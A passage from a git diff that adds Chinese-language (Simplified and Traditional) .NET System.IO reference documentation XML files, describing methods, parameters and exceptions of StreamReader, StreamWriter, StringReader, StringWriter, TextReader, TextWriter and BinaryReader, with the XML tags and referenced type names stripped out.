中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入缓冲区之前已到达流结尾，则将返回当前方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取指定的最大字符数并从指定的索引位置开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，取决于是否所有的输入字符都已读取。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生了 I/O 错误。 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定的字符数写入到缓冲区之前就已经达到流结尾，则将返回此方法。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前流中读取一行字符并将数据作为字符串返回。 + 输入流中的下一行；如果到达了输入流的末尾，则为 null。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 从当前流中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自流的下一行；如果读取了所有字符，则为 null。 + 下一行中的字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取来自流的当前位置到结尾的所有字符。 + 字符串形式的流的其余部分（从当前位置到结尾）。如果当前位置位于流结尾，则返回空字符串 (“”)。 + 内存不足，无法为返回的字符串分配缓冲区。 + 发生 I/O 错误。 + 1 + + + 异步读取来自流的当前位置到结尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括带有从流的当前位置到结尾的字符的字符串。 + 字符数大于 。 + 流已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个 ，使其以一种特定的编码向流中写入字符。若要浏览此类型的.NET Framework 源代码，请参阅参考源。 + 1 + + + 用 UTF-8 编码及默认缓冲区大小，为指定的流初始化 类的一个新实例。 + 要写入的流。 + + 不可写。 + + 为 null。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + + 或 为 null。 + + 不可写。 + + + 用指定的编码及缓冲区大小，为指定的流初始化 类的新实例。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 用指定的编码及默认缓冲区大小，为指定的流初始化 类的新实例，有选择性的打开流。 + 要写入的流。 + 要使用的字符编码。 + 缓冲区大小（以字节为单位）。 + true to leave the stream open after the object is disposed; otherwise, false. + + 或 为 null。 + + 为负数。 + + 不可写。 + + + 获取或设置一个值，该值指示 是否在每次调用 之后，将其缓冲区刷新到基础流。 + 强制 刷新其缓冲区时，为 true；否则，为 false。 + 1 + + + 获取同后备存储连接的基础流。 + 此 StreamWriter 正在写入的基础流。 + 2 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + 当前编码不支持显示半个 Unicode 代理项对。 + + + 获取将输出写入到其中的 。 + 在当前实例的构造函数中指定的 ；或者如果未指定编码，则为 。 + 2 + + + 清理当前写入器的所有缓冲区，并使所有缓冲数据写入基础流。 + 当前编写器已关闭。 + 出现 I/O 错误。 + 当前编码不支持显示半个 Unicode 代理项对。 + 1 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 提供 StreamWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将字符写入流。 + 要写入流中的字符。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符数组写入流。 + 包含要写入的数据的字符数组。如果 为 null，则不写入任何内容。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符的子数组写入流。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 发生 I/O 错误。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 1 + + + 将字符串写入流。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + + 为 true 或 缓冲区已满，并且当前编写器已关闭。 + + 为 true 或 缓冲区已满，并且由于 位于基础固定大小流的结尾，缓冲区的内容无法写入该流。 + 发生 I/O 错误。 + 1 + + + 将字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 包含要写入的数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入流的字符串。如果 为 null，则不写入任何内容。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将行终止符异步写入该流。 + 表示异步写操作的任务。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符异步写入该流。 + 表示异步写操作的任务。 + 要写入流中的字符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符的子数组异步写入该流。 + 表示异步写操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据时缓冲区中的字符位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 将后跟行终止符的字符串异步写入该流。 + 表示异步写操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 流编写器已被释放。 + 流编写器正在由其前一次写入操作使用。 + + + 实现从字符串进行读取的 。 + 2 + + + 初始化从指定字符串进行读取的 类的新实例。 + 应将 初始化为的字符串。 + + 参数为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 返回下一个可用的字符，但不使用它。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该流不支持查找，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的下一个字符并将该字符的位置提升一个字符。 + 基础字符串中的下一个字符，或者如果没有更多的可用字符，则为 -1。 + 当前读取器已关闭。 + 2 + + + 读取输入字符串中的字符块，并将字符位置提升 。 + 读入缓冲区的总字符数。如果当前没有那么多字符可用，则总字符数可能会少于所请求的字符数，或者如果已到达基础字符串的结尾，则总字符数为零。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 缓存区中的起始索引。 + 要读取的字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + 当前读取器已关闭。 + 2 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 异步从当前字符串中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已到达字符串的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 最多读取的字符数。如果在写入指定数目的字符到缓冲区之前，就已经达到字符串的末尾，则方法返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前字符串中读取一行字符并将数据作为字符串返回。 + 当前字符串中的下一行；或为 null （如果到达了字符串的末尾）。 + 当前读取器已关闭。 + 内存不足，无法为返回的字符串分配缓冲区。 + 2 + + + 从当前字符串中异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自字符串读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 从当前位置到基础字符串的结尾之间的内容。 + 内存不足，无法为返回的字符串分配缓冲区。 + 当前读取器已关闭。 + 2 + + + 异步读取从当前位置到字符串的结尾的所有字符并将它们作为单个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束字符串字符。 + 字符数大于 。 + 字符串读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 实现一个用于将信息写入字符串的 。该信息存储在基础 中。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式控制初始化 类的新实例。 + 控制格式设置的 对象。 + + + 初始化写入指定 的 类的新实例。 + 要写入的 StringBuilder。 + + 为 null。 + + + 初始化写入指定 并具有指定格式提供程序的 类的新实例。 + 要写入的 StringBuilder。 + 控制格式设置的 对象。 + + 为 null。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 获取将输出写入到其中的 。 + 用来写入输出的 Encoding。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + + + 返回基础 。 + 基础 StringBuilder。 + 2 + + + 返回包含迄今为止写入到当前 StringWriter 中的字符的字符串。 + 包含写入到当前 StringWriter 中的字符的字符串。 + 2 + + + 将字符写入该字符串。 + 要写入的字符。 + 编写器已关闭。 + 2 + + + 将字符的子数组写入该字符串。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + 或 为负。 + ( + )> 。Length. + 编写器已关闭。 + 2 + + + 将字符串写入当前流。 + 要写入的字符串。 + 编写器已关闭。 + 2 + + + 以异步方式将字符写入流。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将字符串写入当前流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 以异步方式将后跟行结束符的字符写入该字符串。 + 表示异步写入操作的任务。 + 要写入字符串中的字符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入该字符串。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始读取数据缓存中的位置。 + 要写入的最大字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 将一后跟行结束符的字符串异步写入当前字符串。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 字符串编写器已被释放。 + 字符串编写器正在由其前一次写操作使用。 + + + 表示可读取有序字符系列的读取器。 + 2 + + + 初始化 类的新实例。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + 提供一个无数据可供读取的 TextReader。 + 1 + + + 读取下一个字符，而不更改读取器状态或字符源。返回下一个可用字符，而实际上并不从读取器中读取此字符。 + 一个表示下一个要读取的字符的整数；如果没有更多可读取的字符或该读取器不支持查找，则为 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 读取文本读取器中的下一个字符并使该字符的位置前移一个字符。 + 文本读取器中的下一个字符，或为 -1（如果没有更多可用字符）。默认实现将返回 -1。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 从当前读取器中读取指定数目的字符并从指定索引开始将该数据写入缓冲区。 + 已读取的字符数。该数会小于或等于 ，具体取决于读取器中是否有可用的数据。如果调用此方法时没有留下更多的字符供读取，则此方法返回 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前就已达读取器的末尾，则返回该方法。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从当前文本读取器中读取指定的最大字符数并从指定索引处开始将该数据写入缓冲区。 + 已读取的字符数。该数字将小于或等于 ，具体取决于是否所有的输入字符都已读取。 + 此方法返回时，此参数包含指定的字符数组，该数组中从 到 ( + -1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。 + + 为 null。 + 缓冲区长度减去 小于 。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 2 + + + 异步从当前文本读取器中读取指定最大字符数并从指定索引开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可能小于所请求的字节数，或者如果已达到文本的末尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 中开始写入的位置。 + 要读取的最大字符数。如果在将指定数量的字符读入缓冲区之前已到达文本的末尾，则当前方法将返回。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 从文本读取器中读取一行字符并将数据作为字符串返回。 + 读取器中的下一行，或为 null （如果已读取了所有字符）。 + 发生 I/O 错误。 + 内存不足，无法为返回的字符串分配缓冲区。 + + 是关闭的。 + 下一行中的字符数大于 + 1 + + + 异步读取一行字符并将数据作为字符串返回。 + 表示异步读取操作的任务。 参数的值包含来自文本读取器的下一行或为 null 如果读取所有字符。 + 下一行中的字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 一个包含从当前位置到文本读取器末尾的所有字符的字符串。 + 发生 I/O 错误。 + + 是关闭的。 + 内存不足，无法为返回的字符串分配缓冲区。 + 下一行中的字符数大于 + 1 + + + 异步读取从当前位置到文本读取器末尾的所有字符并将它们作为一个字符串返回。 + 表示异步读取操作的任务。 参数值包括字符串来自当前位置到结束文本读取器字符。 + 字符数大于 。 + 文本读取器已被释放。 + 编写器正在由其前一次读取操作使用。 + + + 表示可以编写一个有序字符系列的编写器。此类为抽象类。 + 2 + + + 初始化 类的新实例。 + + + 使用指定的格式提供程序初始化 类的新实例。 + 控制格式设置的 对象。 + + + 存储用于此 TextWriter 的换行符。 + + + 释放由 对象使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，返回用来写输出的该字符编码。 + 用来写入输出的字符编码。 + 1 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 异步清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 表示异步刷新操作的任务。 + 文本编写器已被释放。 + 编写器正在由其前一次写操作使用。 + + + 获取控制格式设置的对象。 + 特定区域性的 对象，或者如果未指定任何其他区域性，则为当前区域性的格式设置。 + 2 + + + 获取或设置由当前 TextWriter 使用的行结束符字符串。 + 当前 TextWriter 的行结束符字符串。 + 2 + + + 提供 TextWriter，它不带任何可写入但无法从中读取的后备存储。 + 1 + + + 将 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符写入该文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符数组写入该文本字符串或流。 + 要写入文本流中的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将字符的子数组写入文本字符串或流。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符串写入到文本字符串或流。 + 要写入的字符串。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0） 或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + + 或 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 以异步形式将字符写入到下一个文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符数组写入到下一个字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果 为 null，则不写入任何内容。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将字符的子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 以异步形式将字符串写入到下一字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果 为 null，则不会将任何内容写入文本流。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将行结束符的字符串写入文本字符串或流。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的 Boolean 值的文本表示形式写入文本字符串或流。 + 要写入的 Boolean 值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符写入文本字符串或流。 + 要写入文本流中的字符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符数组写入文本字符串或流。 + 从其读取数据的字符数组。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符子数组写入文本字符串或流。 + 从其读取数据的字符数组。 + 在开始读取数据时 中的字符位置。 + 要写入的最大字符数。 + 缓冲区长度减去 小于 。 + + 参数为 null。 + + 或 为负。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后面带有行结束符的十进制值的文本表示形式写入文本字符串或流。 + 要写入的十进制值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 8 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节有符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节有符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 通过在对象上调用 ToString 方法将后跟行结束符的此对象的文本表示形式写入文本字符串或流。 + 要写入的对象。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 4 字节浮点值的文本表示形式写入文本字符串或流。 + 要写入的 4 字节浮点值。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的字符串写入文本字符串或流。 + 要写入的字符串。如果 为 null，则只写入行终止符。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为一)。 + 1 + + + 使用与 方法相同的语义将格式化字符串和新行写入文本字符串或流。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为二)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 要格式化和写入的第一个对象。 + 要格式化和写入的第二个对象。 + 要设置格式和写入的第三个对象。 + + 为 null。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0 （0）、或大于或等于要设置格式的对象数 (用于该方法重载，为三)。 + 1 + + + 使用与 相同的语义写出格式化的字符串和一个新行。 + 复合格式字符串（请参见“备注”）。 + 一个对象数组，其中包含零个或多个要设置格式和写入的对象。 + 字符串或对象作为 null 传入。 + + 是关闭的。 + 发生 I/O 错误。 + + 不是有效的复合格式字符串。- 或 - 格式项的索引小于 0（零）或大于等于 数组的长度。 + 1 + + + 将后跟行结束符的 4 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 4 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将后跟行结束符的 8 字节无符号整数的文本表示形式写入文本字符串或流。 + 要写入的 8 字节无符号整数。 + + 是关闭的。 + 发生 I/O 错误。 + 1 + + + 将行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入文本流中的字符数组。如果字符数组为 null，则仅写入行结束符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符子数组异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要从中写出数据的字符数组。 + 在开始接收数据时缓存中的字符位置。 + 要写入的字符数。 + + 为 null。 + + plus 大于缓冲区长度。 + + 或 为负。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + 将后跟行结束符的字符串异步写入文本字符串或流。 + 表示异步写入操作的任务。 + 要写入的字符串。如果值为 null，则只写入行终止符。 + 文本编写器已被释放。 + 文本编写器正在由其前一次写操作使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/zh-hant/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/zh-hant/System.IO.xml new file mode 100644 index 0000000..68602e9 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/zh-hant/System.IO.xml @@ -0,0 +1,2246 @@ + + + + System.IO + + + + 以特定的編碼方式，將基本資料型別當做二進位值讀取。 + 2 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸入資料流。 + 資料流不支援讀取，為 null，或已經關閉。 + + + 根據指定的資料流和字元編碼，初始化 類別的新執行個體。 + 輸入資料流。 + 要使用的字元編碼。 + 資料流不支援讀取，為 null，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和特定的字元編碼，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + 資料流不支援讀取，為 null，或已經關閉。 + + 或 為 null。 + + + 公開 之基礎資料流的存取。 + 與 BinaryReader 相關聯的基礎資料流。 + 2 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 將從資料流讀取的指定位元組數目填入內部緩衝區。 + 要讀取的位元組數。 + 在 可讀取之前到達資料流末端。 + 發生 I/O 錯誤。 + 所要求的 大於內部緩衝區大小。 + + + 傳回下一個可用字元，而不前移位元組或字元的位置。 + 下一個可用的字元；如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 無法使用針對資料流選取的 將目前的字元解碼到內部字元緩衝區。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自基礎資料流讀取字元，並將資料流中目前的位置往前移。 + 輸入資料流的下一個字元；如果目前沒有字元可供使用，則為 -1。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 由位元組陣列中指定點開始，讀取資料流中的指定位元組數。 + 要讀入 的位元組數。如果沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的位元組數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 由字元陣列中的指定點開始，從資料流讀取指定字元數。 + 